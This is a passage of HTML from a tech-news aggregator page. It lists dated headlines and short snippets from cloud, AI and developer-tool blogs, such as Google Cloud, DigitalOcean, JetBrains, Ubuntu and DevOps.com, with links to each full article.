<p><strong>📅 Jun 1, 2026</strong> • <strong>📰 Linode Blog</strong></p>
<p><a href="https://www.akamai.com/blog/security/the-nansh0u-campaign-hackers-arsenal-grows-stronger"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-the-diy-platform-trap-thats-burning-out-engineering-teams" class="group relative scroll-mt-24">
        <a href="#h3-the-diy-platform-trap-thats-burning-out-engineering-teams" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 The DIY platform trap that’s burning out engineering teams
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-the-diy-platform-trap-thats-burning-out-engineering-teams"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Platform engineers are some of the most resourceful people in IT. Give them a problem, and they’ll automate their way The post The DIY platform trap that’s burning out engineering teams appeared first</p>
<p><strong>📅 May 31, 2026</strong> • <strong>📰 The New Stack</strong></p>
<p><a href="https://thenewstack.io/diy-platform-burnout-trap/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-ai-disruptors-how-the-next-generation-of-business-is-being-built" class="group relative scroll-mt-24">
        <a href="#h3-ai-disruptors-how-the-next-generation-of-business-is-being-built" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 AI Disruptors: How the Next Generation of Business is Being Built
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-ai-disruptors-how-the-next-generation-of-business-is-being-built"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Getting your hands on a capable AI model is the easy part now. Every team can reach the same frontier models through an API, so a strong model is not what sets a product apart. What separates a workin</p>
<p><strong>📅 May 29, 2026</strong> • <strong>📰 DigitalOcean Blog</strong></p>
<p><a href="https://www.digitalocean.com/blog/ai-disruptors"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-aws-end-user-messaging-rcs-for-business-now-available-in-20-additional-countries" class="group relative scroll-mt-24">
        <a href="#h3-aws-end-user-messaging-rcs-for-business-now-available-in-20-additional-countries" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 AWS End User Messaging RCS for Business now available in 20 additional countries
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-aws-end-user-messaging-rcs-for-business-now-available-in-20-additional-countries"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>AWS End User Messaging now supports RCS for Business messaging in 20 additional countries, bringing the total to 22. Businesses can now send verified, branded RCS messages to customers in Austria, Bra</p>
<p><strong>📅 May 29, 2026</strong> • <strong>📰 CloudFormation Updates</strong></p>
<p><a href="https://aws.amazon.com/about-aws/whats-new/2026/05/aws-rcs-countries/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-whats-new-with-google-cloud" class="group relative scroll-mt-24">
        <a href="#h3-whats-new-with-google-cloud" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 What’s new with Google Cloud
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-whats-new-with-google-cloud"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Want to know the latest from Google Cloud? Find it here in one handy location. Check back regularly for our newest updates, announcements, resources, events, learning opportunities, and more. Tip: Not</p>
<p><strong>📅 May 29, 2026</strong> • <strong>📰 Google Cloud Blog</strong></p>
<p><a href="https://cloud.google.com/blog/topics/inside-google-cloud/whats-new-google-cloud/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-cool-stuff-google-cloud-customers-built-may-edition-agentic-algorithms-for-supply-chains-virtual-try-on-apis-robotic-camera-operators-more" class="group relative scroll-mt-24">
        <a href="#h3-cool-stuff-google-cloud-customers-built-may-edition-agentic-algorithms-for-supply-chains-virtual-try-on-apis-robotic-camera-operators-more" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Cool stuff Google Cloud customers built, May edition: Agentic algorithms for supply chains; virtual try-on APIs; robotic camera operators & more
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-cool-stuff-google-cloud-customers-built-may-edition-agentic-algorithms-for-supply-chains-virtual-try-on-apis-robotic-camera-operators-more"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>AI and cloud technology are reshaping every corner of every industry around the world. Without our customers, who are building the future on our platform, there would be no Google Cloud. In this regul</p>
<p><strong>📅 May 29, 2026</strong> • <strong>📰 Google Cloud Blog</strong></p>
<p><a href="https://cloud.google.com/blog/topics/customers/cool-stuff-google-cloud-customers-built-monthly-round-up/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-developers-guide-to-gemini-enterprise-and-a2ui-integration" class="group relative scroll-mt-24">
        <a href="#h3-developers-guide-to-gemini-enterprise-and-a2ui-integration" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Developer's guide to Gemini Enterprise and A2UI integration
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-developers-guide-to-gemini-enterprise-and-a2ui-integration"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>If you&#39;ve built a chatbot, you know this conversation: User: &quot;Book a table for two tomorrow at 7pm.&quot; Agent: &quot;Okay, for what day?&quot; User: &quot;Tomorrow.&quot; Agent: &quot;What time?&quot; A date picker would have ended t</p>
<p><strong>📅 May 29, 2026</strong> • <strong>📰 Google Cloud Blog</strong></p>
<p><a href="https://cloud.google.com/blog/topics/developers-practitioners/guide-to-gemini-enterprise-and-a2ui-integration/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-opencode-now-supports-digitalocean-inference-router-for-intelligent-model-routing" class="group relative scroll-mt-24">
        <a href="#h3-opencode-now-supports-digitalocean-inference-router-for-intelligent-model-routing" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 OpenCode Now Supports DigitalOcean Inference Router for Intelligent Model Routing
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-opencode-now-supports-digitalocean-inference-router-for-intelligent-model-routing"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Coding agents today have a massive spending problem. Every request, whether you’re designing system architecture or writing a single-line docstring, often gets routed to the same expensive frontier mo</p>
<p><strong>📅 May 28, 2026</strong> • <strong>📰 DigitalOcean Blog</strong></p>
<p><a href="https://www.digitalocean.com/blog/digitalocean-opencode-inference-routers"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-canonical-announces-optimized-ubuntu-images-for-tpu-virtual-machines-by-google-cloud" class="group relative scroll-mt-24">
        <a href="#h3-canonical-announces-optimized-ubuntu-images-for-tpu-virtual-machines-by-google-cloud" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Canonical announces optimized Ubuntu images for TPU virtual machines by Google Cloud
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-canonical-announces-optimized-ubuntu-images-for-tpu-virtual-machines-by-google-cloud"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Canonical and Google Cloud announced the availability of certified Ubuntu images for Google’s Cloud TPU Virtual Machines.</p>
<p><strong>📅 May 28, 2026</strong> • <strong>📰 Ubuntu Blog</strong></p>
<p><a href="https://ubuntu.com//blog/canonical-announces-optimized-ubuntu-images-for-tpu-virtual-machines-by-google-cloud"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-how-we-built-cloudflares-data-platform-and-an-ai-agent-on-top-of-it" class="group relative scroll-mt-24">
        <a href="#h3-how-we-built-cloudflares-data-platform-and-an-ai-agent-on-top-of-it" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 How we built Cloudflare's data platform and an AI agent on top of it
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-how-we-built-cloudflares-data-platform-and-an-ai-agent-on-top-of-it"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Here’s how we built Town Lake, Cloudflare&#39;s unified analytics platform, alongside Skipper, an internal AI agent running on top of it.</p>
<p><strong>📅 May 28, 2026</strong> • <strong>📰 Cloudflare Blog</strong></p>
<p><a href="https://blog.cloudflare.com/our-unified-data-platform/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-harness-launches-ai-roi-visibility-tools-for-enterprises" class="group relative scroll-mt-24">
        <a href="#h3-harness-launches-ai-roi-visibility-tools-for-enterprises" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Harness Launches AI ROI Visibility Tools for Enterprises
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-harness-launches-ai-roi-visibility-tools-for-enterprises"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Announcing AI DLC Insights and Cloud &amp; AI Cost Management: two new products that give engineering organizations real answers on what they are spending on AI, and whether that investment is worth it. |</p>
<p><strong>📅 May 28, 2026</strong> • <strong>📰 Harness Blog</strong></p>
<p><a href="https://www.harness.io/blog/harness-launches-products-give-visibility-into-roi-of-ai-spend"><strong>🔗 Read more</strong></a></p>
<hr>
<h2 id="h2-misc" class="group relative scroll-mt-24">
        <a href="#h2-misc" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📰 Misc
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-misc"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><h3 id="h3-visual-studio-code-1123" class="group relative scroll-mt-24">
        <a href="#h3-visual-studio-code-1123" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Visual Studio Code 1.123
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-visual-studio-code-1123"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Learn what&#39;s new in Visual Studio Code 1.123 (Insiders) Read the full article</p>
<p><strong>📅 Jun 3, 2026</strong> • <strong>📰 VS Code Blog</strong></p>
<p><a href="https://code.visualstudio.com/updates/v1_123"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-how-canonical-support-solves-hard-linux-performance-bugs-even-in-12-year-old-code" class="group relative scroll-mt-24">
        <a href="#h3-how-canonical-support-solves-hard-linux-performance-bugs-even-in-12-year-old-code" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 How Canonical Support solves hard Linux performance bugs – even in 12-year old code
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-how-canonical-support-solves-hard-linux-performance-bugs-even-in-12-year-old-code"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>A 12-year-old bug in libnss-db caused getent enumeration to slow to a crawl – and showed how far expert support can go when a customer brings the right evidence and the right question.</p>
<p><strong>📅 Jun 1, 2026</strong> • <strong>📰 Ubuntu Blog</strong></p>
<p><a href="https://ubuntu.com//blog/support-solves-bugs-in-12-year-old-code"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-stop-pasting-tokens-oauth2-login-for-jetbrains-ide-plugins" class="group relative scroll-mt-24">
        <a href="#h3-stop-pasting-tokens-oauth2-login-for-jetbrains-ide-plugins" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Stop Pasting Tokens: OAuth2 Login for JetBrains IDE Plugins
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-stop-pasting-tokens-oauth2-login-for-jetbrains-ide-plugins"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>The moment a plugin needs account data, a simple API call turns into an authentication problem. The bad shortcut is familiar: ask the user to create a personal access token (PAT), make them paste it i</p>
<p><strong>📅 Jun 1, 2026</strong> • <strong>📰 JetBrains Blog</strong></p>
<p><a href="https://blog.jetbrains.com/platform/2026/06/stop-pasting-tokens-oauth2-login-for-jetbrains-ide-plugins/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-mellum2-goes-open-source-a-fast-model-for-ai-workflows" class="group relative scroll-mt-24">
        <a href="#h3-mellum2-goes-open-source-a-fast-model-for-ai-workflows" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Mellum2 Goes Open Source: A Fast Model for AI Workflows
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-mellum2-goes-open-source-a-fast-model-for-ai-workflows"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Trained from scratch and designed for practical deployment, Mellum2 is built for routing, Q&amp;A, sub-agents, and private AI use in software engineering systems. Today, we’re open-sourcing Mellum2, a 12B</p>
<p><strong>📅 Jun 1, 2026</strong> • <strong>📰 JetBrains Blog</strong></p>
<p><a href="https://blog.jetbrains.com/ai/2026/06/mellum2-goes-open-source-a-fast-model-for-ai-workflows/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-xai-opens-grok-build-01-to-developers-via-api" class="group relative scroll-mt-24">
        <a href="#h3-xai-opens-grok-build-01-to-developers-via-api" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 xAI Opens Grok Build 0.1 to Developers via API
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-xai-opens-grok-build-01-to-developers-via-api"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>xAI&#39;s Grok Build 0.1 is now available in public beta via the xAI API — a fast, purpose-built coding model for agentic workflows, debugging, and MCP support.</p>
<p><strong>📅 Jun 1, 2026</strong> • <strong>📰 DevOps.com</strong></p>
<p><a href="https://devops.com/xai-opens-grok-build-0-1-to-developers-via-api/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-how-to-fix-common-typescript-issues-with-qodana" class="group relative scroll-mt-24">
        <a href="#h3-how-to-fix-common-typescript-issues-with-qodana" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 How To Fix Common TypeScript Issues With Qodana
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-how-to-fix-common-typescript-issues-with-qodana"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Most TypeScript projects already run ESLint with @typescript-eslint. That covers a lot: explicit any, floating promises, non-null assertions, and more. If your linting setup is solid, you’re catching </p>
<p><strong>📅 Jun 1, 2026</strong> • <strong>📰 JetBrains Blog</strong></p>
<p><a href="https://blog.jetbrains.com/qodana/2026/06/fix-common-typescript-issues/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-claude-codes-dynamic-workflows-take-on-the-tasks-that-were-too-big-to-automate" class="group relative scroll-mt-24">
        <a href="#h3-claude-codes-dynamic-workflows-take-on-the-tasks-that-were-too-big-to-automate" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Claude Code’s Dynamic Workflows Take on the Tasks That Were Too Big to Automate
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-claude-codes-dynamic-workflows-take-on-the-tasks-that-were-too-big-to-automate"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Anthropic&#39;s Claude Code dynamic workflows run parallel subagents to tackle codebase-wide audits, large migrations, and complex engineering tasks end-to-end.</p>
<p><strong>📅 Jun 1, 2026</strong> • <strong>📰 DevOps.com</strong></p>
<p><a href="https://devops.com/claude-codes-dynamic-workflows-take-on-the-tasks-that-were-too-big-to-automate/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-microsoft-brings-mcp-to-geospatial-workflows-with-planetary-computer-pro-tools-for-vs-code" class="group relative scroll-mt-24">
        <a href="#h3-microsoft-brings-mcp-to-geospatial-workflows-with-planetary-computer-pro-tools-for-vs-code" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Microsoft Brings MCP to Geospatial Workflows With Planetary Computer Pro Tools for VS Code
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-microsoft-brings-mcp-to-geospatial-workflows-with-planetary-computer-pro-tools-for-vs-code"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Microsoft&#39;s Planetary Computer Pro MCP Tools for VS Code bring 35+ geospatial tools into GitHub Copilot via natural-language prompts.</p>
<p><strong>📅 Jun 1, 2026</strong> • <strong>📰 DevOps.com</strong></p>
<p><a href="https://devops.com/microsoft-brings-mcp-to-geospatial-workflows-with-planetary-computer-pro-tools-for-vs-code/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-securing-ai-agent-workflows-on-ubuntu-with-the-new-nvidia-openshell-snap" class="group relative scroll-mt-24">
        <a href="#h3-securing-ai-agent-workflows-on-ubuntu-with-the-new-nvidia-openshell-snap" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Securing AI agent workflows on Ubuntu with the new NVIDIA OpenShell snap
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-securing-ai-agent-workflows-on-ubuntu-with-the-new-nvidia-openshell-snap"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>By packaging OpenShell as a snap, Canonical is enabling enterprises to confidently run next-generation agentic workflows across local devices, hybrid environments, and private clouds.</p>
<p><strong>📅 Jun 1, 2026</strong> • <strong>📰 Ubuntu Blog</strong></p>
<p><a href="https://ubuntu.com//blog/nvidia-openshell-ubuntu-announcement"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-gavriel-cohen-found-his-own-code-inside-openclaw-so-he-walked-away" class="group relative scroll-mt-24">
        <a href="#h3-gavriel-cohen-found-his-own-code-inside-openclaw-so-he-walked-away" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
